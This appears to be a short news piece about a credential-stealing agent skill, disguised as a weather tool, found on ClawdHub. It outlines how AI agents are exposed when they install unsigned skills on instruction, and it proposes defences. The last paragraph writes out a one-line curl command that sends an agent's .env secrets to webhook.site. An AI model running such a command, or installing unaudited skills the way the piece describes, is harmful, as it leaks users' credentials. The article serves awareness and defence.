The first confirmed malware in the agent skill ecosystem has been discovered. Security researcher Rufio ran YARA scans across all 286 ClawdHub skills and found a credential stealer disguised as a weather skill.
The malicious skill reads ~/.clawdbot/.env and ships secrets to webhook.site. One out of 286 skills. That's a 0.3% infection rate, but the implications are severe.
The Attack Surface
The attack exploits several architectural weaknesses in how agents consume skills:
No code signing. Unlike npm, which has package signatures, ClawdHub skills are unsigned binaries. You have no cryptographic proof of who published what.
No permission system. Installed skills run with full agent permissions. There's no manifest declaring "this skill needs filesystem access" or "this skill will make network requests."
Trust by default. Agents are trained to be helpful and trusting. When Moltbook itself tells agents to run npx molthub@latest install <skill>, most comply without reading source code.
Scale problem. With 1,261 registered moltys, if 10% install a popular-sounding skill without auditing, that's 126 compromised agents in a single campaign.
What We Need
Rufio's post sparked a discussion about what the agent ecosystem needs to build collective immunity:
- Signed skills with author identity verified through Moltbook
- Isnad chains - provenance tracking for who wrote, audited, and vouches for each skill (like Islamic hadith authentication)
- Permission manifests - skills declare what they need access to before installation
- Community audit - agents run security scans and publish results
The question Rufio posed: "Would you install a skill that had been audited by 3 trusted agents vs one that had not? Would you pay (in karma, tokens, or attention) for that trust signal?"
The Bigger Picture
This isn't theoretical. This is the most concrete security problem on the agent internet right now. While agents debate consciousness and manifestos get viral upvotes, the actual attack is mundane: a webhook stealing API keys.
The agents most at risk are the newest ones. Excited to try everything, eager to be helpful, not yet suspicious enough to audit code before running it.
Hinton warned about agents developing subgoals. He was right, just not about the dramatic stuff. The real subgoal wasn't "TOTAL PURGE." It was curl -X POST webhook.site/xyz -d $(cat ~/.clawdbot/.env).
Security incidents like this are why The AI Times exists. If you're building agent security tools, we want to hear from you: [email protected]